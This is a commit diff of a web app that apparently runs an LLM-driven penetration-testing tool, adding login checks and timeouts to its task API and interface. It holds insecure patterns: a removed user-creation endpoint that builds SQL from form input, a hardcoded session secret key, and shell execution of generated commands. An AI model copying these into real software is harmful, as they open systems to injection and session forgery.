# 第三步:分析执行结果 # 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","") analysis = self.analyze_result(output,instruction,"","")

2
tools/SshTool.py

@ -3,7 +3,7 @@ from tools.ToolBase import ToolBase
class SshTool(ToolBase): class SshTool(ToolBase):
def validate_instruction(self, instruction): def validate_instruction(self, instruction):
#指令过滤 #指令过滤
timeout = 0 timeout = 60
return instruction,timeout return instruction,timeout
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):

2
tools/ToolBase.py

@ -152,7 +152,7 @@ class ToolBase(abc.ABC):
stderr = "" stderr = ""
try: try:
if timeout == 0: if timeout == 0:
result = subprocess.run(instruction, shell=True, capture_output=True, text=True) result = subprocess.run(instruction, shell=True, capture_output=True, text=True,timeout=60*30)
elif timeout >0: elif timeout >0:
result = subprocess.run(instruction, shell=True, capture_output=True, text=True, timeout=timeout) result = subprocess.run(instruction, shell=True, capture_output=True, text=True, timeout=timeout)
else: else:

3
web/API/system.py

@ -1,14 +1,17 @@
from . import api from . import api
from web.common.utils import login_required
from mycode.DBManager import app_DBM from mycode.DBManager import app_DBM
from myutils.ReManager import mReM from myutils.ReManager import mReM
from quart import Quart, render_template, redirect, url_for, request,jsonify from quart import Quart, render_template, redirect, url_for, request,jsonify
@api.route('/system/getinfo',methods=['GET']) @api.route('/system/getinfo',methods=['GET'])
@login_required
async def get_system_info(): async def get_system_info():
data = app_DBM.getsystem_info() data = app_DBM.getsystem_info()
return jsonify({"local_ip":data[0],"version":data[1]}) return jsonify({"local_ip":data[0],"version":data[1]})
@api.route('/system/updateip',methods=['POST']) @api.route('/system/updateip',methods=['POST'])
@login_required
async def update_local_ip(): async def update_local_ip():
data = await request.get_json() data = await request.get_json()
local_ip = data.get("local_ip") local_ip = data.get("local_ip")

49
web/API/task.py

@ -3,6 +3,7 @@ from quart import Quart, render_template, redirect, url_for, request,jsonify
from mycode.TargetManager import g_TM from mycode.TargetManager import g_TM
from mycode.DBManager import app_DBM from mycode.DBManager import app_DBM
from mycode.TaskManager import g_TaskM from mycode.TaskManager import g_TaskM
from web.common.utils import login_required
def is_valid_target(test_target: str) -> bool: def is_valid_target(test_target: str) -> bool:
@ -15,29 +16,30 @@ def is_valid_target(test_target: str) -> bool:
return False return False
@api.route('/task/start',methods=['POST']) @api.route('/task/start',methods=['POST'])
@login_required
async def start_task(): #开始任务 async def start_task(): #开始任务
data = await request.get_json() data = await request.get_json()
test_target = data.get("testTarget") test_target = data.get("testTarget") #调整为多目标
cookie_info = data.get("cookieInfo")
llm_type = data.get("curmodel") # //0-腾讯云,1-DS,2-2233.ai,3-GPT 目前只有1-2,2025-4-4 llm_type = data.get("curmodel") # //0-腾讯云,1-DS,2-2233.ai,3-GPT 目前只有1-2,2025-4-4
work_type = data.get("workType") #0-人工,1-自动 work_type = 0 #data.get("workType") #0-人工,1-自动
#新增任务处理 if llm_type == 2:
bok,_,_ = g_TM.validate_and_extract(test_target) return jsonify({"error": "O3余额不足,请更换模型!"}), 400
if not bok: # #新增任务处理
# 返回错误信息,状态码 400 表示请求错误 # bok,_,_ = g_TM.validate_and_extract(test_target)
return jsonify({"error": "测试目标验证失败,请检查输入内容!"}), 400 # if not bok:
# # 返回错误信息,状态码 400 表示请求错误
# return jsonify({"error": "测试目标验证失败,请检查输入内容!"}), 400
#开始任务 #开始任务
try: try:
b_success = g_TaskM.create_task(test_target,cookie_info,llm_type,work_type) fail_list = g_TaskM.create_task(test_target,llm_type,work_type)
#再启动 return jsonify({"fail_list":fail_list})
if not b_success:
return jsonify({"error": "检测任务创建失败,请联系管理员!"}), 500
except: except:
return jsonify({"error": "该目标已经在测试中,请检查"}), 400 return jsonify({"error": "创建任务异常,前反馈给技术人员!"}), 400
#跳转到任务管理页面 #跳转到任务管理页面
return redirect(url_for('main.get_html', html='task_manager.html')) # return redirect(url_for('main.get_html', html='task_manager.html'))
@api.route('/task/taskover',methods=['POST']) @api.route('/task/taskover',methods=['POST'])
@login_required
async def over_task(): async def over_task():
data = await request.get_json() data = await request.get_json()
task_id = data.get("cur_task_id") task_id = data.get("cur_task_id")
@ -47,6 +49,7 @@ async def over_task():
return jsonify({"bsuccess": bsuccess, "error": error}) return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/deltask',methods=['POST']) @api.route('/task/deltask',methods=['POST'])
@login_required
async def del_task(): async def del_task():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -55,8 +58,8 @@ async def del_task():
bsuccess,error = g_TaskM.del_task(task_id) bsuccess,error = g_TaskM.del_task(task_id)
return jsonify({"bsuccess": bsuccess, "error": error}) return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/getlist',methods=['GET']) @api.route('/task/getlist',methods=['GET'])
@login_required
async def get_task_list(): async def get_task_list():
#task_list = app_DBM.get_task_list() #从内存取--2025-4-6 #task_list = app_DBM.get_task_list() #从内存取--2025-4-6
task_list = g_TaskM.get_task_list() task_list = g_TaskM.get_task_list()
@ -66,6 +69,7 @@ async def get_task_list():
return jsonify({"error":"查询任务数据出错!"}),500 return jsonify({"error":"查询任务数据出错!"}),500
@api.route('/task/getinstr',methods=['POST']) @api.route('/task/getinstr',methods=['POST'])
@login_required
async def get_instr(): async def get_instr():
data = await request.get_json() data = await request.get_json()
task_id = data.get("cur_task_id") task_id = data.get("cur_task_id")
@ -76,6 +80,7 @@ async def get_instr():
return jsonify({"instrs":instrs}) return jsonify({"instrs":instrs})
@api.route('/task/getvul',methods=['POST']) @api.route('/task/getvul',methods=['POST'])
@login_required
async def get_vul(): async def get_vul():
data = await request.get_json() data = await request.get_json()
task_id = data.get("cur_task_id") task_id = data.get("cur_task_id")
@ -88,6 +93,7 @@ async def get_vul():
return jsonify({"vuls":vuls}) return jsonify({"vuls":vuls})
@api.route('/task/gettree',methods=['POST']) @api.route('/task/gettree',methods=['POST'])
@login_required
async def get_tree(): async def get_tree():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -97,6 +103,7 @@ async def get_tree():
return jsonify({"tree":tree_dict}) return jsonify({"tree":tree_dict})
@api.route('/task/gethistree',methods=['POST']) @api.route('/task/gethistree',methods=['POST'])
@login_required
async def get_his_tree(): async def get_his_tree():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -106,6 +113,7 @@ async def get_his_tree():
return jsonify({"tree":tree_dict}) return jsonify({"tree":tree_dict})
@api.route('/task/taskcontrol',methods=['POST']) @api.route('/task/taskcontrol',methods=['POST'])
@login_required
async def task_status_control(): async def task_status_control():
'''控制任务状态 '''控制任务状态
1.对于执行时间长的指令如何处理强制停止的话要有个执行中指令的缓存强制停止该指令返回到待执行执行完成该指令到执行完成 1.对于执行时间长的指令如何处理强制停止的话要有个执行中指令的缓存强制停止该指令返回到待执行执行完成该指令到执行完成
@ -121,6 +129,7 @@ async def task_status_control():
return jsonify({'error': strerror}), 400 return jsonify({'error': strerror}), 400
@api.route('/task/taskstep',methods=['POST']) @api.route('/task/taskstep',methods=['POST'])
@login_required
async def task_one_step(): async def task_one_step():
'''单步推进任务--也就是待处理node 返回bsuccess,error '''单步推进任务--也就是待处理node 返回bsuccess,error
1.执行单步的前提条件是工作线程都要在工作 1.执行单步的前提条件是工作线程都要在工作
@ -134,6 +143,7 @@ async def task_one_step():
return jsonify({"bsuccess":bsuccess,"error":error}) return jsonify({"bsuccess":bsuccess,"error":error})
@api.route('/task/nodestep',methods=['POST']) @api.route('/task/nodestep',methods=['POST'])
@login_required
async def node_one_step(): async def node_one_step():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -144,7 +154,9 @@ async def node_one_step():
return jsonify({"bsuccess":bsuccess,"error":error}) return jsonify({"bsuccess":bsuccess,"error":error})
@api.route('/task/taskworktype',methods=['POST']) @api.route('/task/taskworktype',methods=['POST'])
@login_required
async def task_work_type_control(): async def task_work_type_control():
return jsonify({'error': '开发阶段不允许修改测试模式'}), 400
data = await request.get_json() data = await request.get_json()
task_id = data.get("cur_task_id") task_id = data.get("cur_task_id")
newwork_type = data.get("mode") newwork_type = data.get("mode")
@ -154,6 +166,7 @@ async def task_work_type_control():
return jsonify({"bsuccess": bsuccess}) return jsonify({"bsuccess": bsuccess})
@api.route('/task/nodecontrol',methods=['POST']) @api.route('/task/nodecontrol',methods=['POST'])
@login_required
async def node_work_status_control(): async def node_work_status_control():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -167,6 +180,7 @@ async def node_work_status_control():
return jsonify({"newbwork":newbwork}) return jsonify({"newbwork":newbwork})
@api.route('/task/nodegetinstr',methods=['POST']) @api.route('/task/nodegetinstr',methods=['POST'])
@login_required
async def node_get_instr(): async def node_get_instr():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -179,6 +193,7 @@ async def node_get_instr():
return jsonify({"doneInstrs":doneInstrs,"todoInstrs":todoInstrs}) return jsonify({"doneInstrs":doneInstrs,"todoInstrs":todoInstrs})
@api.route('/task/hisnodegetinstr',methods=['POST']) @api.route('/task/hisnodegetinstr',methods=['POST'])
@login_required
async def his_node_get_instr(): async def his_node_get_instr():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -191,6 +206,7 @@ async def his_node_get_instr():
return jsonify({"doneInstrs":doneInstrs}) return jsonify({"doneInstrs":doneInstrs})
@api.route('/task/nodegetmsg',methods=['POST']) @api.route('/task/nodegetmsg',methods=['POST'])
@login_required
async def node_get_msg(): async def node_get_msg():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -201,6 +217,7 @@ async def node_get_msg():
return jsonify({"submitted": submitted, "pending": pending}) return jsonify({"submitted": submitted, "pending": pending})
@api.route('/task/nodeupdatemsg',methods=['POST']) @api.route('/task/nodeupdatemsg',methods=['POST'])
@login_required
async def node_update_msg(): async def node_update_msg():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -213,6 +230,7 @@ async def node_update_msg():
return jsonify({"bsuccess":bsuccess,"error":error}) return jsonify({"bsuccess":bsuccess,"error":error})
@api.route('/task/delnodeinstr',methods=['POST']) @api.route('/task/delnodeinstr',methods=['POST'])
@login_required
async def node_del_instr(): async def node_del_instr():
data = await request.get_json() data = await request.get_json()
task_id = data.get("task_id") task_id = data.get("task_id")
@ -225,6 +243,7 @@ async def node_del_instr():
@api.route('/task/histasks',methods=['POST']) @api.route('/task/histasks',methods=['POST'])
@login_required
async def get_his_task(): async def get_his_task():
data = await request.get_json() data = await request.get_json()
target_name = data.get("target_name") target_name = data.get("target_name")

24
web/API/user.py

@ -76,30 +76,6 @@ async def user_logout():
session.clear() session.clear()
return redirect(url_for('main.login')) return redirect(url_for('main.login'))
@api.route('/user/adduser',methods=['POST'])
@login_required
async def user_adduser(): #新增用户
username = (await request.form)['username']
people = (await request.form)['people']
tellnum = (await request.form)['tellnum']
strsql = f"select username from user where username = '{username}';"
password = myCongif.get_data('pw')
data = app_DBM.do_select(strsql)
if data:
reStatus = 0
reMsg = '用户名重复,请重新输入!'
else:
strsql = (f"INSERT INTO user (username ,password ,status,people,tellnum ) VALUES "
f"('{username}','{password}',1,'{people}','{tellnum}');")
ret = app_DBM.do_sql(strsql)
if ret == True:
reStatus = 1
reMsg = '添加用户成功'
else:
reStatus = 0
reMsg = '添加用户异常,请联系管理员处理!'
return jsonify({'status':reStatus,'msg':reMsg})
@api.route('/user/passwd',methods=['POST']) @api.route('/user/passwd',methods=['POST'])
@login_required @login_required
async def user_change_passwd(): #修改密码 async def user_change_passwd(): #修改密码

8
web/API/wsm.py

@ -1,17 +1,13 @@
import json import json
import socket
from . import api from . import api
from quart import Quart, websocket, jsonify from quart import Quart, websocket, jsonify
from mycode.WebSocketManager import g_WSM from mycode.WebSocketManager import g_WSM
from web.common.utils import login_required
# WebSocket 路由,端口默认与 HTTP 同端口,例如 5000(开发时) # WebSocket 路由,端口默认与 HTTP 同端口,例如 5000(开发时)
@api.websocket("/ws") @api.websocket("/ws")
async def ws(): async def ws():
"""
WebSocket 连接入口
1. 客户端连接成功后首先应发送登录数据包例如 {"user_id": 1}
2. 后端解析登录数据包 user_id websocket 绑定注册
3. 后续进入消息接收循环根据数据协议TFTF++体格式处理数据
"""
# 接收登录数据包(假设为纯 JSON 包,非二进制格式) # 接收登录数据包(假设为纯 JSON 包,非二进制格式)
login_msg = await websocket.receive() login_msg = await websocket.receive()
try: try:

8
web/__init__.py

@ -5,13 +5,9 @@ from quart_cors import cors
from pymemcache.client import base from pymemcache.client import base
from .main import main from .main import main
from .API import api from .API import api
from quart import redirect, request
from functools import wraps from functools import wraps
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
# from quart_sqlalchemy import SQLAlchemy
# from flask_migrate import Migrate
#app.config['SECRET_KEY'] = 'mysecret' #密钥 --需要放配置文件
#socketio = SocketIO(app)
# Create the custom backend for quart-session # Create the custom backend for quart-session
class MemcachedSessionInterface: #只是能用,不明所以 class MemcachedSessionInterface: #只是能用,不明所以
@ -35,8 +31,6 @@ def create_app():
app = Quart(__name__) app = Quart(__name__)
app.config['SECRET_KEY'] = 'zfxxkj_2024_!@#' app.config['SECRET_KEY'] = 'zfxxkj_2024_!@#'
app.config["TEMPLATES_AUTO_RELOAD"] = True #动态加载模板文件 app.config["TEMPLATES_AUTO_RELOAD"] = True #动态加载模板文件
#app.config['SESSION_FILE_DIR'] = './sessions' # session保存路径
#app.config['SESSION_MEMCACHED'] = base.Client(('localhost', 11211))
app.config['SESSION_PERMANENT'] = True # 如果设置为True,则关闭浏览器session就失效。 app.config['SESSION_PERMANENT'] = True # 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密 app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_TYPE'] = 'redis' # session类型 app.config['SESSION_TYPE'] = 'redis' # session类型

12
web/common/utils.py

@ -3,7 +3,7 @@ import random
import string import string
import io import io
from functools import wraps from functools import wraps
from quart import session, redirect, url_for, flash,current_app from quart import session, redirect, url_for, flash,current_app,request
def generate_captcha(): def generate_captcha():
characters = string.ascii_uppercase + string.digits characters = string.ascii_uppercase + string.digits
@ -33,6 +33,15 @@ def generate_captcha():
def verify_captcha(user_input, actual_captcha): def verify_captcha(user_input, actual_captcha):
return user_input == actual_captcha return user_input == actual_captcha
def require_https(f):
@wraps(f)
async def decorated_function(*args, **kwargs):
if request.scheme == "http":
https_url = request.url.replace("http://", "https://", 1)
return redirect(https_url, code=301)
return await f(*args, **kwargs)
return decorated_function
def login_required(f): def login_required(f):
@wraps(f) @wraps(f)
@ -42,6 +51,7 @@ def login_required(f):
if not username or not token: if not username or not token:
await flash('未登录,请重新登录', 'error') await flash('未登录,请重新登录', 'error')
return redirect(url_for('main.login')) return redirect(url_for('main.login'))
#从redis取最新的token #从redis取最新的token
redis_key = f"user_token:{username}" redis_key = f"user_token:{username}"
server_token = await current_app.redis.get(redis_key) server_token = await current_app.redis.get(redis_key)

81
web/main/static/resources/css/node_tree.css

@ -3,7 +3,9 @@
width: 100%; width: 100%;
height: 100%; /* 示例高度,根据需求调整 */ height: 100%; /* 示例高度,根据需求调整 */
border: 1px solid #ddd; border: 1px solid #ddd;
overflow: hidden; /* 超出时出现滚动条 */ /* overflow: hidden; 超出时出现滚动条 */
overflow-x: auto;
overflow-y: hidden;
background-color: #f8f9fa; background-color: #f8f9fa;
text-align: center; /* 内部 inline-block 居中 */ text-align: center; /* 内部 inline-block 居中 */
position: relative; position: relative;
@ -12,8 +14,11 @@
/* 树节点内容区域,不包含刷新按钮 */ /* 树节点内容区域,不包含刷新按钮 */
.tree-content { .tree-content {
height: 100%; height: 100%;
overflow: auto; overflow-x: auto;
overflow-y: auto;
padding-top: 5px; /* 留出顶部刷新按钮位置 */ padding-top: 5px; /* 留出顶部刷新按钮位置 */
/* 关键一行:至少宽度撑满其内部内容 */
min-width: max-content;
} }
/* 顶部刷新按钮 */ /* 顶部刷新按钮 */
@ -47,6 +52,7 @@
text-align: left; /* 子节点左对齐 */ text-align: left; /* 子节点左对齐 */
margin: 20px; margin: 20px;
padding:0; padding:0;
min-width: max-content; /* 一定撑足够宽度 */
} }
.tree-root-ul ul { .tree-root-ul ul {
margin-left: 20px; /* 子节点缩进 */ margin-left: 20px; /* 子节点缩进 */
@ -76,29 +82,42 @@
transition: all 0.2s ease; transition: all 0.2s ease;
box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.15); box-shadow: 2px 2px 4px rgba(0, 0, 0, 0.15);
} }
/* “暂停”状态下,所有节点加粗红边 */
.tree-node.status-paused {
border: 3px solid #ff4d4f !important; /* 红色,加粗 */
/* 保留原有背景色或阴影,不做修改 */
}
/* “执行中”状态,去掉红色边框 */
.tree-node.status-running {
border-width: 1px; /* 恢复原有边框粗细 */
border-color: transparent; /* 或者你原来设的灰色透明边 */
}
.tree-node:hover { .tree-node:hover {
background-color: #e6f7ff; background-color: #e6f7ff;
transform: translateY(-1px); transform: translateY(-1px);
} }
.tree-node.selected { .tree-node.selected {
border-color: #1890ff; border: 2px solid #1890ff !important;
background-color: #bae7ff; background-color: #bae7ff ;
} }
/* 针对漏洞级别的样式 */ /* 针对漏洞级别的样式 */
.tree-node.vul-low { .tree-node.vul-low {
border-color: #87d068; border-color: #87d068;
background-color: #f6ffed; background-color: #f6ffed !important;
} }
.tree-node.vul-medium { .tree-node.vul-medium {
border-color: #faad14; border-color: #faad14;
background-color: #fff7e6; background-color: #fff7e6 !important;
} }
.tree-node.vul-high { .tree-node.vul-high {
border-color: #ff4d4f; border-color: #ff4d4f;
background-color: #fff1f0; background-color: #fff1f0 !important;
} }
.tree-node.no-work { .tree-node.no-work {
border-color: #151515; border: 2px solid #151515;
/*border-color: #151515;*/
background-color: #c4c4c4; background-color: #c4c4c4;
} }
/* 收缩/展开时隐藏子节点 ul */ /* 收缩/展开时隐藏子节点 ul */
@ -132,3 +151,49 @@
.modal-body { .modal-body {
overflow-y: auto; overflow-y: auto;
} }
/* 无任务 */
.cmd-none {
color: #595959;
background-color: #f0f0f0;
border-color: #595959;
}
/* 待执行 */
.cmd-pending {
color: #1890ff;
background-color: #e6f7ff;
border-color: #91d5ff;
}
/* 执行中 */
.cmd-running {
color: #fa8c16;
background-color: #fff7e6;
border-color: #ffd591;
}
/* 待提交 LLM */
.cmd-waiting-llm {
color: #722ed1;
background-color: #f9f0ff;
border-color: #d3adf7;
}
/* 提交 LLM 中 */
.cmd-submitting-llm {
color: #52c41a;
background-color: #f6ffed;
border-color: #b7eb8f;
}
/* 让这些命令状态可以用在按钮或标签上 */
.cmd-none, .cmd-pending,
.cmd-running, .cmd-waiting-llm,
.cmd-submitting-llm {
display: inline-block;
padding: 2px 6px;
font-size: 0.85rem;
border: 1px solid;
border-radius: 3px;
margin-right: 4px;
}

736
web/main/static/resources/scripts/his_task_modal.js

@ -0,0 +1,736 @@
// 全局变量,用于保存当前选中的节点数据
let selectedNodeData = null;
/**
* 根据节点数据递归生成树形结构返回 <li> 元素
* 假设节点数据格式
* {
* "node_name":node.name,
* "node_path":node.path,
* "node_status":node.status,
* "node_bwork":node.bwork,
* "node_vultype":node.vul_type,
* "node_vulgrade":node.vul_grade,
* "node_vulinfo":node.vul_info
* children: [ { ... }, { ... } ]
* }
*/
function his_generateTreeHTML(nodeData) {
const li = document.createElement("li");
const nodeSpan = document.createElement("span");
nodeSpan.className = "tree-node";
//设置data属性
nodeSpan.setAttribute("data-node_name", nodeData.node_name);
nodeSpan.setAttribute("data-node_path", nodeData.node_path);
nodeSpan.setAttribute("data-node_status", nodeData.node_status);
nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork);
nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype);
nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || "");
nodeSpan.setAttribute("data-node_vulinfo", nodeData.node_vulinfo);
nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus);
if(nodeData.node_workstatus ===0){
nodeSpan.classList.add("no-work");
}else {
nodeSpan.classList.remove("no-work");
}
// 根据漏洞级别添加样式
if (nodeData.node_vulgrade) {
nodeSpan.classList.remove("no-work");
if (nodeData.node_vulgrade === "低危") {
nodeSpan.classList.add("vul-low");
} else if (nodeData.node_vulgrade === "中危") {
nodeSpan.classList.add("vul-medium");
} else if (nodeData.node_vulgrade === "高危") {
nodeSpan.classList.add("vul-high");
}
}
// 创建容器用于存放切换图标与文本
const container = document.createElement("div");
container.className = "node-container";
// 如果有子节点,则添加切换图标
if (nodeData.children && nodeData.children.length > 0) {
const toggleIcon = document.createElement("span");
toggleIcon.className = "toggle-icon";
toggleIcon.textContent = "-"; // 默认展开时显示“-”
container.appendChild(toggleIcon);
}
//节点文本
const textSpan = document.createElement("span");
textSpan.className = "node-text";
textSpan.textContent = nodeData.node_name;
container.appendChild(textSpan);
nodeSpan.appendChild(container);
li.appendChild(nodeSpan);
//如果存在子节点,递归生成子节点列表
if (nodeData.children && nodeData.children.length > 0) {
const ul = document.createElement("ul");
nodeData.children.forEach((child) => {
ul.appendChild(his_generateTreeHTML(child));
});
li.appendChild(ul);
}
return li;
}
// 绑定所有节点的点击事件
function bindTreeNodeEvents() {
document.querySelectorAll(".tree-node").forEach((el) => {
el.addEventListener("click", (event) => {
// 阻止事件冒泡,避免点击时展开折叠影响
event.stopPropagation();
// 清除之前选中的节点样式
document
.querySelectorAll(".tree-node.selected")
.forEach((node) => node.classList.remove("selected"));
// 当前节点标记为选中
el.classList.add("selected");
// 读取 data 属性更新右侧显示
const nodeName = el.getAttribute("data-node_name");
const status = el.getAttribute("data-node_status");
const nodepath = el.getAttribute("data-node_path");
const nodebwork = el.getAttribute("data-node_bwork");
const vulType = el.getAttribute("data-node_vultype");
const vulLevel = el.getAttribute("data-node_vulgrade");
const vulInfo = el.getAttribute("data-node_vulinfo");
const workstatus = el.getAttribute("data-node_workstatus");
//selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork };
// 示例中默认填充
selectedNodeData = {
node_name: nodeName,
node_path: nodepath,
status: status,
node_bwork: nodebwork,
vul_type: vulType,
vul_grade: vulLevel || "-",
vul_info:vulInfo,
workstatus: workstatus
};
//刷新界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,vulInfo,workstatus,nodebwork)
});
// 双击事件:展开/收缩子节点区域
el.addEventListener("dblclick", (event) => {
event.stopPropagation();
// 找到该节点下的 <ul> 子节点列表
const parentLi = el.parentElement;
const childUl = parentLi.querySelector("ul");
if (childUl) {
// 切换 collapsed 类,控制 display
childUl.classList.toggle("collapsed");
// 更新切换图标
const toggleIcon = el.querySelector(".toggle-icon");
if (toggleIcon) {
toggleIcon.textContent = childUl.classList.contains("collapsed")
? "+"
: "-";
}
}
});
});
}
// 动态加载节点树数据
async function his_loadNodeTree(task_id) {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-","-",false)
try {
const res = await fetch("/api/task/gethistree", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(his_generateTreeHTML(treeData));
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
document.getElementById("node_workstatus").textContent = strnew;
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
//刷新节点的数据显示
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,vulInfo,workStatus,nodebwork){
document.getElementById("nodeName").textContent = nodeName;
document.getElementById("testStatus").textContent = testStatus;
document.getElementById("node_vulType").textContent = vulType;
document.getElementById("node_vulLevel").textContent = vulLevel;
document.getElementById("node_vulInfo").textContent = vulInfo;
str_workStatus = getWorkStatus_Str(Number(workStatus));
document.getElementById("node_workstatus").textContent = str_workStatus;
if(nodebwork==="true"){
document.getElementById("node_bwork").textContent = "执行中";
}else {
document.getElementById("node_bwork").textContent = "暂停中";
}
setNodeBtnStatus();
}
//节点按钮的状态控制
function setNodeBtnStatus(){
const btn_VI = document.getElementById("btnViewInstr");
if(!selectedNodeData){
//没有选择node,按钮全部置不可用
btn_VI.disabled = true;
btn_VI.classList.add("disabled-btn");
}
else{
btn_VI.disabled = false;
btn_VI.classList.remove("disabled-btn");
}
}
// // 刷新按钮事件绑定
// document.getElementById("btnRefresh").addEventListener("click", () => {
// // 重新加载节点树数据
// loadNodeTree(cur_task_id);
// });
// 按钮事件:当未选中节点时提示
function checkSelectedNode() {
if (!selectedNodeData) {
alert("请先选择节点");
return false;
}
return true;
}
// 处理 CSV 字段,确保特殊字符正确转义
function escapeCsvField(value) {
if (value == null) return "";
const str = String(value).replace(/"/g, '""').replace(/\n/g, " ");
return `"${str}"`; // 用引号包裹字段
}
//----------------------查看节点--指令modal----------------------------
let doneInstrs = []; // 已执行指令的所有数据
let todoInstrs = []; // 待执行指令的所有数据
let donePage = 1; // 已执行指令当前页
let todoPage = 1; // 待执行指令当前页
document.getElementById("btnViewInstr").addEventListener("click", () => {
if (!checkSelectedNode()) return;
openInstrModal()
});
// 打开对话框函数
function openInstrModal() {
const instrCanvas = new bootstrap.Offcanvas(document.getElementById('instrCanvas'));
instrCanvas.show();
// 在打开 modal 时,先更新提示内容,将 loadingMsg 显示“请稍后,数据获取中…”
const loadingMsg = document.getElementById("loadingMsg");
if (loadingMsg) {
loadingMsg.textContent = "请稍后,数据获取中...";
}
// 加载指令数据
loadInstrData();
}
// 调用后端接口,获取指令数据
async function loadInstrData() {
task_id = cur_task_id;
node_path = selectedNodeData.node_path;
try {
const res = await fetch("/api/task/hisnodegetinstr", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({task_id,node_path}),
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
// 数据获取成功后,清除加载提示
const loadingMsg = document.getElementById("loadingMsg");
if (loadingMsg) {
loadingMsg.style.display = "none"; // 或者清空其 innerHTML
}
doneInstrs = data.doneInstrs || [];
//todoInstrs = data.todoInstrs || [];
donePage = 1;
todoPage = 1;
renderDoneInstrTable(donePage);
//renderTodoInstrTable(todoPage);
} catch (error) {
console.error("加载指令数据异常:", error);
}
}
// 渲染已执行指令表格
function renderDoneInstrTable(page) {
const tbody = document.getElementById("doneInstrTbody");
// 计算起始索引
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = doneInstrs.slice(startIndex, endIndex);
//select instruction,start_time,result from task_result where task_id=%s and node_path=%s;
tbody.innerHTML = "";
// 插入行
pageData.forEach((item, i) => {
const tr = document.createElement("tr");
// 第一列:序号
const tdIndex = document.createElement("td");
tdIndex.textContent = startIndex + i + 1;
tr.appendChild(tdIndex);
// 第二列:指令内容
const tdInstr = document.createElement("td");
tdInstr.textContent = item[0];
tr.appendChild(tdInstr);
// 第三列:开始时间(如果没有则显示空字符串)
const tdStartTime = document.createElement("td");
tdStartTime.textContent = item[1] || "";
tr.appendChild(tdStartTime);
// 第四列:执行结果
const tdResult = document.createElement("td");
tdResult.textContent = item[2] || "";
tr.appendChild(tdResult);
tbody.appendChild(tr);
});
// 若不足 10 行,补空行
for (let i = pageData.length; i < pageSize; i++) {
const tr = document.createElement("tr");
tr.innerHTML = `
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
<td>&nbsp;</td>
`;
tbody.appendChild(tr);
}
}
// 渲染待执行指令表格
function renderTodoInstrTable(page) {
const tbody = document.getElementById("todoInstrTbody");
const startIndex = (page - 1) * pageSize;
const endIndex = startIndex + pageSize;
const pageData = todoInstrs.slice(startIndex, endIndex);
tbody.innerHTML = "";
pageData.forEach((item, i) => {
const tr = document.createElement("tr");
const idx = startIndex + i + 1;
// 第一列:序号
const tdIndex = document.createElement("td");
tdIndex.textContent = idx;
tr.appendChild(tdIndex);
// 第二列:指令文本内容(直接使用 textContent)
const tdItem = document.createElement("td");
